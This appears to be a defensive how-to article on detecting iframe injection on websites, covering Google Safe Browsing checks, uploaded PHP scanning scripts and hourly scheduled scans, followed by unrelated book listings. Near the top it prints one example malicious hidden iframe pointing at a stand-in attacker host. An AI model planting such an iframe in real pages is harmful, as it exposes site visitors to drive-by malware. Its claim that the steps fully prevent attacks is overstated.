Nuke Modified | AntiVirus Remover

Measures to Prevent and Detect iFrame Injection Attacks

IFrame Injection Attack is considered one of the most common and most basic cross site scripting (XSS) attacks. The following is an example of a malicious iframe injection code:

iframe src=http://www.example-hacker-site.com/inject/?s=some parameters” width=”1″ height=”1″ style=”visibility: hidden” /iframe

The iframe tag is an HTML tag used to seamlessly embed content from another page or site. (The “i” in “iframe” stands for “invisible”, i.e. “invisible frame”.) IFrames are used on thousands and thousands of sites, because that’s what Google uses for its AdSense ads — the little bit of JavaScript you paste on your page eventually ends up inserting an iframe into the HTML of your page.

Like most useful things, iFrames can be used for good or for bad.

An iframe injection is an injection of one or more iframe tags into a page’s content. The iframe typically does something bad, such as downloading an executable application that contains a virus or worm in it… something that compromises a visitor’s system.

Typically, all your index.* files in your server are infected with a piece of code that loads a hidden iframe in the page. Examples of these pages are:

index.htm
index.htm
index.shtml
index.php

The intent of this article is to show what preventative measures you can use to prevent or detect iframe injection attacks to your website.

STEP 1

The first thing you need to do is to check with Google to see if your site is listed as suspicious.  You can do this by using the following link:

http://www.google.com/safebrowsing/diagnostic?site=http://yourdomain_name

Before you use the link, you need to replace “yourdomain_name” with your actual website name.

Google will tell you if your website is suspicious or not.

You can also go to the following website and enter your “www.yourdomain_name”.  It will advise you on your websitestatus.

http://www.unmaskparasites.com/

STEP 2

If you have suffered an iframe injection attack you need to act fast.  If the security of your website is compromised, it can affect the search engine rankings of your website. Besides, it may pave way for more sophisticated attacks. Google will mark your site in it’s search results with a warning: “This site may harm your computer”. If a visitor sees the message “This site may harm your computer” pop up when (s)he try to access your website/blog, (s)he may not return again and your traffic will go down to zero.

I suggest that you read the article “Website Protection Against iFrame Injections” which you can find at:

http://websiteprotection.blogspot.com/

and also visit:

http://www.websiteprotection.net

Step 3

If you have not suffered an iframe injection attack, then you can manually run some scripts which will test the index.* files on your website.

One script you can use is called “clean.php” which you can download at:

http://www.diovo.com/wp-content/uploads/2009/04/clean.php.txt

Copy and paste this script into your text editor, such as notepad, and save the file as “clean.php”

It is important to remember that when you create a web page, it is important to use a pure text editor such as Notepad or an editor designed to create web pages. Never use Word or a word processor to create web pages. The files that word processors create contain formatting codes and other invisible information that can create problems with web servers. Also, when you save the web page, ensure that it has the proper file extension, e.g., index.html, clean.php, etc.

Before you can use the file, you need to change the following line in the script:

$webpath =”Type your domain name here. Eg:http://www.diovo.com/”

which will become:

$webpath =”http://www.yourdomain_name/”

Where “yourdomain_name” is replaced with your actual domain name.

In the script, the “s” parameter specifies the file name to search for and the “c” parameter specifies the text to search for inside the file.

When you have pasted the above script into your notepad editor, made the change for your website name, save it as “clean.php”. Once you have saved the file, upload it to the root directory of your website.

Now you need to create a URL that you will copy and paste into your browser as follows:

http://www.yourdomain_name/clean.php?s=index.php&c=iframe

where “yourdomain_name” is replaced by your actual doamin name.

The web page to be checked is given by “s=index.php” and the text to be found is “c=iframe”.  This will scan all your files and folders on your website for index.php injections.

Since we also want to check our index.html type web pages, we create a different URL as follows:

http://www.yourdomain_name/clean.php?s=index.html&c=iframe

The file to be checked is given by “s=index.html” and the text to be found is “c=iframe”. This will scan all your files and folders on your website for index.html injections.

The URL will list all the ”index.php” or “index.html” files in your website and if any of the files contains the given string, it will print the part with the string.  You can see that one file is infected by displaying the iframe script.

Note that the script will not remove the iframes from your files.   Automated cleaning could break some of your websites.  So you will have to clean the files manually by deleting the iframe script.

You should be able to see that you can use the “s” parameter to test any web page on your website for iframe injection. Simply put in the exact webpage as follows:

s=webpage.ext

You can thus create simple internet URL shortcuts that you can click on to check the required web pages.

When the script tests for iframe injections, it is basically looking for the text “iframe” and so will display any web page that has the text “iframe”.  You need to ensure that the iframe being displayed is actually a malicious iframe, similar to the example shown previously.  Sometimes it may be a legitimate iframe.  Be absolutely sure before you delete it from your web page.

The “clean.php” iframe injection tool is quite useful when testing individual pages.  However, after your website starts to grow, you will need to have a URL link for every web page extension (ext) which starts to be a time consuming effort, having to check each individual web page for iframe injection.

A website that gives a free script to test all the files on a website for iframe injection is given at the following link:

http://www.websanity.co.uk/blog/2009/08/scan-website-files-for-iframe-injection.html

The file is called “detect-signature.php”

When you have dowloaded the file, there are a couple of lines in the script that I suggest you change.  This will help make the script more suitable for your website.

Using your notepad editor, open the file.  First locate the following line:

define(‘IGNORE_EXTENSIONS’,”jpg pdf zip psd doc gif swf xls”); // Ignore files of these types

You will see that the file will ignore files with extensions jpg, pdf, zip, etc.  You can add or delete files as you feel necessary.

Next, locate the following line:

define(“IGNORE_BEFORE”, strtotime(’2009-08-01′) );

The file will ignore any web pages created before August 1, 2009. You may want to change this to ensure all your website files are tested.  You could simply change 2009 to 2008.

You will be downloading the “detect-signature.php” as a zip file. After download, extract the file.  Using the notepad editor, open the file and change the suggested lines to what suits your needs and re-save.  Upload the file to the root directory of your website.

To activate, you need to create the following URL for your domain:

http://www.yourdomain_name/detect-signature.php

You can either create a URL short cut or else copy and paste the URL into your browser.  Put in your exact domain name for “yourdomain_name”.

When the file is activated, it initially starts by checking every file and web page on your website, unless you have excluded it.

Once the scan is complete, you have two more options you can use for scanning for iframe injection.  You can either have the scan stop at the first error (iframe injection) or have it display all errors (all files and web pages with iframe injection).  You can continuously click on any of the three links on the web page scan results.

When you do find iframe injections, you need to evaluate if the iframe injection is of the malicious form as indicated previously.  If it is, you need to remove it from your web page.  Open up your web page with a notepad editor if you have entered your site via FTP, find the iframe injection, delete it and re-save your web page.  If you have a complete up-to-date backup of your web page, you can just upload it to your website.  It will over-write the web page with the iframe injection.

What I like about this file is that it can check every web page on your website.  Although the primary intent is to check all the index.* web pages, checking your other web pages is an added benifit as they might also be attacked.  Just make sure that when ever you do find an iframe injection, it is really a malicious iframe.

Step 4

Having the ability to manually check for iframe injections goes a long way in helping keep your website secure.  The final step now is to automate the iframe scanning in case you forget.  This will be your constant watch dog.

The best way to do this is to schedule the iframe scanning, say every hour.  A nice free System Scheduler can be found at:

http://www.splinterware.com/download/index.htm

Once you have downloaded the System Scheduler, install it.  We will schedule the file “detect-signature.php” on your website to run a scan every hour.

As mentioned previously, there are three ways to run the file.  We can check and display all files, check and display only errors, or, check and display errors only.  The error is the iframe injection.  We will use the 3rd option so we will need to use the following URL in the System Scheduler:

http://www.yourdomain_name/detect-signature.php?display_errors_only

When the file runs, it will show any iframe infected files.  If you see errors, you need to take immediate action.

We will now schedule the file.  Open System Sceduler.  Select the “Action” menu and then select “New Event”, You should now be in the Event dialog box.  For Event type you can leave “Run Application”.  Give the event a title such as “iFrame Injection Scan”.  In the Application box, input the complete URL to display errors only, with your actual domain name.  In “Working Dir” put any directory on your computer. In “State” box, select Maximized.

We now need to scedule when we want to run the scan.  Select the “Scedule” tab. For “Scedule Type, select “Every Hour / Selected Minutes”.  In the left bottom boxes, select “Every Hour” and “On The Hour”.  This means the scan will run, e.g. at 1:00 pm, 2:00 pm, 3:00 pm, etc., for the daily 24 hour time frame.  Now go to “Action” menu and Save and Exit.  You should see the System Schedule icon in your right bottom tool bar.  This icon must always be displayed in order for the event to run.

Every hour on the hour, your web page will be activated and your website scanned for iframe injections.  Look over the results and take action if necessary, otherwise close the web page.  If you do not close the page, you will see multiple web pages of the same thing.  You simply need to look them over and close them.  If you are running the scan constantly over night, you will see the multiple web pages in the morning.

You do not have to run every hour on the hour.  You can select what ever time schedule you prefer.  If you have been attacked, I strongly recommend you stay with hourly scanning.

To help things be a bit clearer, I added the date and time in the “detect-signature.php” file so that I knew the exact date and time the scan was made.  You can search the internet for javascript that you can add.  It is very easy to do and will give order to your scanning.

Step 5

If you follow all the measures stated in this document, you will prevent your website from becoming a victim of iframe injection attacks.  It is also important to note that your website may not be the only victim.  Your home PC may also be a victim.  You must also have preventative measures on your PC.  Make sure you read the article “Website Protection Against iFrame Injections” as mentioned previously.  This is a must.

Website security and monitoring is a vital part of the success of your online business. Making it a priority is crucial for your website file and data protection. Understanding that and taking the steps to properly implement website security practices can mean increased sales and more business opportunities.

About the Author

Joseph Schembri has written many ebooks that are practical, easy, but thorough with step by step advice on website security protection and internet niche marketing. They are written in a language that you can understand with all the extra nice to have stuff stripped away.

http://www.schembrionics.com

http://www.websiteprotection.net

http://www.nichemarketingsecrets.net

Error Message $116.3 Please note that the content of this book primarily consists of articles available from Wikipedia or other free sources online. An error message is information displayed when an unexpected condition occurs, usually on a computer or other device. On modern operating systems with graphical user interfaces, error messages are often displayed using dialog boxes. Error messages are used when user intervention is required, to indicate that a desired operation has failed, or to relay important warnings (such as warning a computer user that they are almost out of hard disk space). Error messages are seen widely throughout computing, and are part of every operating system or computer hardware device. Proper design of error messages is an important topic in usability and other fields of humancomputer interaction. Author: Miller, Frederic P./ Vandome, Agnes F./ McBrewster, John Binding Type: Paperback Number of Pages: 184 Publication Date: 2011/02/14 Language: English Dimensions: 5.98 x 9.02 x 0.42 inches

Php Cookbook $64.88 In this book for web programmers using PHP, the authors address frequently encountered challenges in the form of approximately 250 "recipes"–each a complete PHP template for achieving a specific result. The recipes are easily navigated and grouped by functions such as dates and times, graphics, error management, security and encryption, and web automation. Some specific tasks include finding and fixing parse errors; drawing lines, rectangles and polygons; getting and putting up files with FTP; and processing variable-length text fields. Updates in this second edition include new sections on processing XML, and building web services using PHP. Annotation )2006 Book News, Inc., Portland, OR (booknews.com)

Learning PHP Data Objects by Poppel, Dennis [Paperback] $67.07 This book is for PHP developers who need to use PHP Data Objects (PDO) for data abstraction. Covering an overview of PDO, getting started, error handling, prepared statements, handling rowsets, advanced uses, and use in an MVC application, it first describes the topic, then gives stepbystep instructions for a particular example. A final appendix covers the objectoriented features of PHP 5. Readers should be familiar with PHP and aware of the basics of data abstraction. Lighter, faster, more powerful than existing data abstraction interfaces, PDO is an opensource query abstraction layer for accessing databases and manipulating returned records that is used with a databasespecific PDO driver to access a particular database. It has the same role as classic database abstraction layers such as ODBC and JDBC. PDO ships with PHP 5.1, and is available as a PECL extension for PHP 5.0; PDO requires the new OO features in the core of PHP 5, and so will not run with earlier versions of PHP. Author: Poppel, Dennis Binding Type: Paperback Number of Pages: 188 Publication Date: 2007/08/01 Language: English Dimensions: 9.25 x 7.50 x 0.40 inches

Runtime Error 200 $70.1 High Quality Content by WIKIPEDIA articles Runtime error 200 is the standard error message by Borlands Pascal compilers, standing for Division by zero. Many older computer programs for the MSDOS operating system fail immediately on loading with this error message. In many case they were compiled with an older version of the Borland or Turbo Pascal compiler, which often generated programs which failed if executed on computers with processors faster than about 200 MHz.Borland and Turbo Pascals standard libraries included a procedure called delay(n), code created for halting the execution of the program for a given number of milliseconds. Due to the initializing of the CRT unit, this procedure is called even if the software itself doesnt do it explicitly. Author: Surhone, Lambert M./ Timpledon, Miriam T./ Marseken, Susan F. Binding Type: Paperback Number of Pages: 84 Publication Date: 2010/07/16 Language: English Dimensions: 6.00 x 9.02 x 0.20 inches

: R Tape loading error Message White T-Shirt by CafePress $21 The site was inspired by this message. A legend in its own OS. The dreaded message is back, and this time it’s wearable. Brrrr-Beep. Message White T-Shirt Tee, TShirt, Shirt The white t-shirt is a timeless classic for a reason; it should be a staple in every wardrobe. It is clean, simple, and durable. The best part is you can wear it with anything. This 100% cotton T-shirt is so comfortable you’ll want to wear it to bed.

PHP Hacks by Herrington, Jack Edition , 1 $1.99 Programmers love its flexibility and speed; designers love its accessibility and convenience. When it comes to creating web sites, the PHP scripting language is truly a red-hot property. In fact, PHP is currently used on more than 19 million web sites, surpassing Microsoft’s ASP .NET technology in popularity. Not surprisingly, this surge in usage has resulted in a number of PHP books hitting the market. Only one, though, takes the language beyond traditional Web programming and into mapping, graphing, multimedia, and beyond: PHP Hacks.In PHP Hacks, author Jack Herrington wrings out his 20 years of code generation experience to deliver hands-on tools ranging from basic PHP and PEAR installation and scripting to advanced multimedia and database optimizing tricks.On the practical side of things, PHP Hacks helps you develop more robust PHP applications by explaining how to improve your database design, automate application testing, and employ design patterns in your PHP scripts and classes. In the category of cool, Herrington explains how to upgrade your Web interface through the creation of tabs, stickies, popups, and calendars. He even examines how to leverage maps and graphics in PHP. There’s also a bounty of image and application hacks, including those that show you how to:Integrate web sites with Google maps and satellite imagingDynamically display iPhoto libraries onlineAdd IRC, SMS, and Instant Messaging capabilities to your Web applicationsDrop the latest Wikipedia dictionary onto your Sony PSPRender graphics and user interfaces with SVG, DHTML, and AjaxWhether you’re a newcomer or an expert, you’ll find great value in PHP Hacks, the only PHP guide that offers something useful and fun for everyone.